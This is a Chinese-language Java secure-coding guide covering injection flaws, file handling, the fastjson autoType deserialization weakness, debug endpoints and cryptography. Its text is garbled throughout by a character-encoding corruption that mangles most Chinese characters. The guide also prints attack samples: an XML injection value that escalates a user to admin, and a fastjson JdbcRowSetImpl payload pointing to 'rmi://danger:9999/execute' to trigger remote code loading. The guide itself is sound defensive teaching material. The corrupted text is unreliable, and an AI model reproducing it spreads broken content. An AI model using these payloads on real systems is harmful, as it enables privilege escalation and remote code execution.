一、數(shù)據(jù)校驗(yàn)
數(shù)據(jù)校驗(yàn)一般分為兩種思路:
-
黑名單
剔除或者替換某些危險(xiǎn)的字符,但是這種方案是比較弱的校驗(yàn),因?yàn)槟阌肋h(yuǎn)想不到會(huì)有其它什么危險(xiǎn)的字符不在黑名單之內(nèi);
-
白名單
限定只能輸入合法的字符,安全性高,但是白名單可能會(huì)維護(hù)較多的內(nèi)容;
1.1 SQL注入
避免直接使用不可信的數(shù)據(jù)來(lái)拼接需要執(zhí)行的SQL語(yǔ)句,這是為了防止原始的SQL被意外地篡改為與預(yù)期完全不同語(yǔ)句。通常有以下兩種解決方法:
-
使用參數(shù)化查詢(xún);
參數(shù)化查詢(xún)?cè)贘DBC中主要表現(xiàn)就是使用PreparedStatement,數(shù)據(jù)庫(kù)的預(yù)編譯技術(shù)會(huì)將語(yǔ)句提前編譯好并形成執(zhí)行計(jì)劃保存在數(shù)據(jù)庫(kù)中,語(yǔ)句中的參數(shù)會(huì)使用占位符表示;后續(xù)傳入?yún)?shù)真正執(zhí)行時(shí),參數(shù)內(nèi)容無(wú)論是什么,都只會(huì)被當(dāng)作SQL參數(shù)按照原先的執(zhí)行計(jì)劃執(zhí)行,而不會(huì)因?yàn)閰?shù)內(nèi)容而改變執(zhí)行計(jì)劃從而造成意外的SQL。一句話(huà),語(yǔ)句是語(yǔ)句,參數(shù)是參數(shù),相互之間互不影響。
在其它諸如Mybatis、Hibernate等框架中,都有相應(yīng)的語(yǔ)法來(lái)使用參數(shù)化查詢(xún);
-
對(duì)不可信地?cái)?shù)據(jù)進(jìn)行校驗(yàn);
對(duì)于常見(jiàn)的進(jìn)行SQL注入攻擊的特殊符號(hào)進(jìn)行過(guò)濾、替換或者是轉(zhuǎn)義,開(kāi)發(fā)者可以自己進(jìn)行這個(gè)過(guò)程,也可以使用ESAPI這個(gè)工具。ESAPI是OWASP提供的一個(gè)專(zhuān)門(mén)用來(lái)轉(zhuǎn)義危險(xiǎn)字符的類(lèi)庫(kù),使用它可以降低發(fā)生風(fēng)險(xiǎn)的概率。
1.2 XML注入
在構(gòu)造XML的時(shí)候,未對(duì)用戶(hù)輸入的內(nèi)容進(jìn)行校驗(yàn),很容易構(gòu)造出非預(yù)期的XML內(nèi)容。比如:
xmlString = "<user><role>employee</role><userid>" + request.getUserId() + "</userid><description>" + request.getDescription() + "</description></user>"
// 輸出xmlString構(gòu)造XML
如上代碼構(gòu)造出來(lái)的XML結(jié)構(gòu)應(yīng)該是這樣的:
<user>
<role>employee</role>
<userid>123</userid>
<description>the first employee</description>
</user>
結(jié)果,程序沒(méi)有對(duì)入?yún)serId和description進(jìn)行內(nèi)容校驗(yàn),使得用戶(hù)在其中輸入了xml標(biāo)簽內(nèi)容,比如userId內(nèi)容為:
123</userid><role>admin</role><userid>123
那么構(gòu)造出來(lái)的XML將會(huì)是:
<user>
<role>employee</role>
<userid>123</userid>
<role>admin</role>
<userid>123</userid>
<description>the first employee</description>
</user>
某些XML解析器(SAX)在解析時(shí),對(duì)于重復(fù)的標(biāo)簽內(nèi)容,后者會(huì)覆蓋前者,那么原本屬于employee角色的123用戶(hù),被提權(quán)成了admin角色。
對(duì)于XML注入的防范通常有如下兩種方法:
- 開(kāi)發(fā)人員自己在程序中進(jìn)行特殊字符的白名單或者黑名單過(guò)濾;
- 使用安全的XML解析庫(kù)(dom4j);
1.3 日志偽造
如果對(duì)用戶(hù)輸入?yún)?shù)沒(méi)有做校驗(yàn)直接就打印到日志中,那么日志內(nèi)容就可能被偽造。比如換行,增加了一些嚴(yán)重級(jí)別的日志,讓日志監(jiān)控報(bào)警,或者讓運(yùn)維人員誤以為系統(tǒng)發(fā)生了故障等。
1.4 命令注入
盡量避免使用Runtime.exec(parameter)來(lái)運(yùn)行系統(tǒng)命令,如果一定要使用,要做好白名單或者黑名單的校驗(yàn);
1.5 XSS攻擊
將用戶(hù)輸入的內(nèi)容未經(jīng)校驗(yàn)就直接返回到前端的html頁(yè)面,容易造成跨站腳本的執(zhí)行,從而導(dǎo)致用戶(hù)cookie的泄露。
解決方法也通常就是黑白名單過(guò)濾、替換、轉(zhuǎn)義。
二、IO操作
2.1 及時(shí)刪除使用完畢的臨時(shí)文件
臨時(shí)文件可能會(huì)有用戶(hù)或者系統(tǒng)的敏感信息,開(kāi)發(fā)人員使用完畢后,不予及時(shí)刪除,那么擁有服務(wù)器文件訪(fǎng)問(wèn)權(quán)限的人,或者黑客通過(guò)服務(wù)器漏洞獲取服務(wù)器文件訪(fǎng)問(wèn)權(quán)限后,就有機(jī)會(huì)泄露敏感數(shù)據(jù)。
2.2 創(chuàng)建文件時(shí)指定合適的訪(fǎng)問(wèn)許可
現(xiàn)代Java在服務(wù)器上創(chuàng)建文件的時(shí)候就可以同時(shí)指定文件的訪(fǎng)問(wèn)權(quán)限:
d-rwx-rwx-rwx
分別表示文件類(lèi)型、文件所有者的權(quán)限、文件所屬組的權(quán)限、其他人的權(quán)限
如果一開(kāi)始沒(méi)有指定的話(huà),創(chuàng)建的文件很可能就會(huì)被別人意外的訪(fǎng)問(wèn)和更改。
2.3 限制上傳文件的格式和大小
防止上傳惡意的可執(zhí)行腳本以及壓縮炸彈等。
三、序列化與反序列化
3.1 敏感數(shù)據(jù)的加密和簽名
加密是為了保證數(shù)據(jù)的秘密性,簽名是為了保證數(shù)據(jù)的完整性。
- 不要使用私有的加密算法,通常這類(lèi)算法會(huì)引入很多不必要的漏洞;
- 不要使用不安全的加密算法,比如對(duì)稱(chēng)算法中的DES;散列算法中的SHA1和MD5;推薦使用對(duì)稱(chēng)算法中的AES、SM4;推薦使用非對(duì)稱(chēng)算法中的RSA、SM2、SM9;推薦散列算法中的SM3;
- 對(duì)敏感數(shù)據(jù)僅加密是不夠的,黑客完全可以隨機(jī)改動(dòng)密文,讓接收者無(wú)法解密;或者即使解密成功,也無(wú)法驗(yàn)證數(shù)據(jù)的完整性;
- 先加密后簽名也是不合適的,黑客可以把原始簽名去除或者修改,讓接收者無(wú)法通過(guò)簽名驗(yàn)證;
- 正確的做法應(yīng)該是先簽名,再加密;
3.2 禁止序列化未加密的敏感數(shù)據(jù)
主要是防止敏感數(shù)據(jù)被無(wú)意識(shí)地序列化導(dǎo)致信息地泄露。通常有兩種方案,一種是加密之后再序列化;還有一種是使用transient關(guān)鍵字或者其它序列化方法防止敏感字段被序列化。
3.3 三方庫(kù)的選擇
序列化和反序列化的類(lèi)庫(kù)有很多,Java自帶的、FastJson、Gason、Jackson等,其中自己在項(xiàng)目中常用的就是fastjson,但是最近fastjson為什么老是爆出漏洞?
這一切都是因?yàn)閒astjson的autoType特性。什么是AutoType屬性?我們舉一個(gè)例子來(lái)說(shuō)明一下。
@Data
public class Person {
private String name;
private Integer age;
}
@Data
public class Student extends Person {
private Integer grade;
}
@Data
public class School {
private String name;
private Person person;
}
對(duì)如上School類(lèi)來(lái)說(shuō),其中引用的對(duì)象Person是一個(gè)父類(lèi),我們?cè)趯?shí)例化它的時(shí)候給它賦值一個(gè)子類(lèi)Student。
public static void main(String[] args) {
School school = new School();
Student jack = new Student();
jack.setName("jack");
jack.setAge(12);
jack.setGrade(3);
school.setName("XX高中");
school.setPerson(jack);
String result = JSON.toJSONString(school);
// 序列化結(jié)果為:{"name":"XX高中","person":{"age":12,"grade":3,"name":"jack"}}
log.info("序列化結(jié)果為:{}", result);
School school2 = JSON.parseObject(result, School.class);
// 反序列化結(jié)果為:School(name=XX高中, person=Person(name=jack, age=12))
log.info("反序列化結(jié)果為:{}", school2);
Person person = school2.getPerson();
// person為:Person(name=jack, age=12)
log.info("person為:{}", person);
}
我們注意到,在序列化的時(shí)候,Student子類(lèi)的類(lèi)型被抹去了,被父類(lèi)Person所替代。雖然其仍然擁有子類(lèi)特有的屬性grade,但是在反序列化的時(shí)候該屬性是不能被賦值到對(duì)應(yīng)的屬性上的,因?yàn)楦割?lèi)Person沒(méi)有這個(gè)屬性。我們也無(wú)法獲得子類(lèi)Student。
同樣的,我們使用Jackson來(lái)實(shí)現(xiàn)相同的效果如下:
public static void main(String[] args) throws JsonProcessingException {
Student jack = new Student();
jack.setName("jack");
jack.setAge(12);
jack.setGrade(2);
School school = new School();
school.setName("XX高中");
school.setPerson(jack);
ObjectMapper mapper = new ObjectMapper();
String result = mapper.writeValueAsString(school);
log.info("序列化結(jié)果為:{}", result);
//在反序列化時(shí)忽略在json中存在但Java對(duì)象不存在的屬性
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
School school2 = mapper.readValue(result, School.class);
log.info("反序列化結(jié)果為:{}", school2);
Person person = school2.getPerson();
log.info("person為:{}", person);
}
使用Jackson同樣無(wú)法直接得到Student子類(lèi),但是fastjson的autoType特性就可以讓我們得到Student子類(lèi)。
public static void main(String[] args) {
School school = new School();
Student jack = new Student();
jack.setName("jack");
jack.setAge(12);
jack.setGrade(3);
school.setName("XX高中");
school.setPerson(jack);
// autoType默認(rèn)是關(guān)閉的,需要手動(dòng)開(kāi)啟
String result = JSON.toJSONString(school, SerializerFeature.WriteClassName);
// 序列化結(jié)果為:{"@type":"*.School","name":"XX高中","person":{"@type":"*.Student","age":12,"grade":3,"name":"jack"}}
log.info("序列化結(jié)果為:{}", result);
School school2 = JSON.parseObject(result, School.class);
// 反序列化結(jié)果為:School(name=XX高中, person=Student(grade=3))
log.info("反序列化結(jié)果為:{}", school2);
Person person = school2.getPerson();
// person為:Student(grade=3)
log.info("person為:{}", person);
}
那么為什么autoType會(huì)導(dǎo)致漏洞的產(chǎn)生呢?這其實(shí)取決于fastjson的序列化和反序列機(jī)制,和Gason不同,Gason是基于反射的原理來(lái)獲取和賦值屬性的,fastjson是基于getter和setter方法的。當(dāng)我們啟用autoType的時(shí)候,黑客可以篡改json字符串,將其中的@type類(lèi)改為一些可以遠(yuǎn)程執(zhí)行命令的類(lèi),比如com.sun.rowset.JdbcRowSetImpl,然后在反序列化的時(shí)候利用setter方法,將json字符串中的參數(shù)值改為遠(yuǎn)程的命令,那么就達(dá)到了利用服務(wù)器遠(yuǎn)程執(zhí)行命令漏洞的目的。
下面是一個(gè)可能被篡改的json字符串:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://danger:9999/execute".......}
后續(xù)版本中,fastjson主要就是默認(rèn)關(guān)閉了autoType開(kāi)關(guān),并不斷地添加黑白名單,黑客總有辦法繞過(guò)黑白名單,并通過(guò)一些其它方法攻擊fastjson的這個(gè)漏洞。
現(xiàn)在fastjson的漏洞問(wèn)題可以通過(guò)以下三種方法解決:
- 升級(jí)到最新版本,autoType默認(rèn)關(guān)閉,想使用手動(dòng)開(kāi)啟即可;
- 68老版本中,如果確認(rèn)不需要使用autoType,可以設(shè)置為安全模式,禁用autoType,注意一定要禁用,即使默認(rèn)關(guān)閉autoType不使用,仍然有可能存在漏洞風(fēng)險(xiǎn);
- 使用其它第三方類(lèi)庫(kù)替換,但是因?yàn)锳PI都不盡相同,開(kāi)發(fā)成本不低;
四、運(yùn)行環(huán)境
4.1 避免包含任何調(diào)試入口點(diǎn)
開(kāi)發(fā)者在開(kāi)發(fā)過(guò)程中,可能會(huì)出于調(diào)試的目的在項(xiàng)目中留下了特定的后門(mén)代碼,這些代碼沒(méi)有必要與應(yīng)用一起交付生產(chǎn)部署。
public class Test{
public static void main(String[] args) {
Person person = new Persion();
// 一些關(guān)于Person類(lèi)的測(cè)試代碼
}
}
這樣的調(diào)試入口點(diǎn)在生產(chǎn)上是很可能被攻擊者利用,使用Test.main()來(lái)執(zhí)行Person類(lèi)的測(cè)試代碼的。所以,應(yīng)該在發(fā)布生產(chǎn)前,將這樣的代碼全部移除。
4.2 避免無(wú)認(rèn)證地暴露后臺(tái)接口信息及端點(diǎn)信息
- swagger可以看到所有的接口信息;
- acutator可以監(jiān)控系統(tǒng)運(yùn)行信息;
諸如此類(lèi)的springboot插件不允許沒(méi)有認(rèn)證措施就允許被訪(fǎng)問(wèn)。
五、其它
5.1 禁止在日志中打印敏感數(shù)據(jù)
口令、密鑰、用戶(hù)的敏感信息等。
5.2 禁止硬編碼敏感信息
任何能夠訪(fǎng)問(wèn)到class文件的人都可以反編譯發(fā)現(xiàn)這些硬編碼的敏感信息,同樣的,也不能存儲(chǔ)在配置文件中。
可以從外部的一個(gè)安全的文件夾中獲取,或者從某些提供安全信息存儲(chǔ)的服務(wù)中獲取。
5.3 使用安全的加密算法
- 對(duì)稱(chēng)
- AES128
- AES192
- AES256
- SM1
- 非對(duì)稱(chēng)
- RSA2048
- ECC256
- SM2
- 消息摘要
- SHA2(224\256\384)
- SHA3
- SM3(256)
在使用Hash算法的時(shí)候,同樣的內(nèi)容會(huì)hash得到同樣的值,所以很容易被破解,應(yīng)該是用鹽值:
- 鹽值至少需要8個(gè)字節(jié)的內(nèi)容,且鹽值應(yīng)該是由安全隨機(jī)數(shù)產(chǎn)生;
- 應(yīng)該使用強(qiáng)Hash函數(shù),比如SHA256;
- 默認(rèn)需要進(jìn)行50000次hash,對(duì)性能有要求的系統(tǒng)至少要5000次hash;
如上要求的Hash值的產(chǎn)生都是有對(duì)應(yīng)的JDK類(lèi)庫(kù)支持的,比如PBKDF2算法,不需要我們手動(dòng)去實(shí)現(xiàn)。
5.4 使用強(qiáng)隨機(jī)數(shù)
java.util.Random產(chǎn)生的是偽隨機(jī)數(shù)序列,不能用于安全敏感的應(yīng)用,應(yīng)該是用java.security.SecureRandom類(lèi)。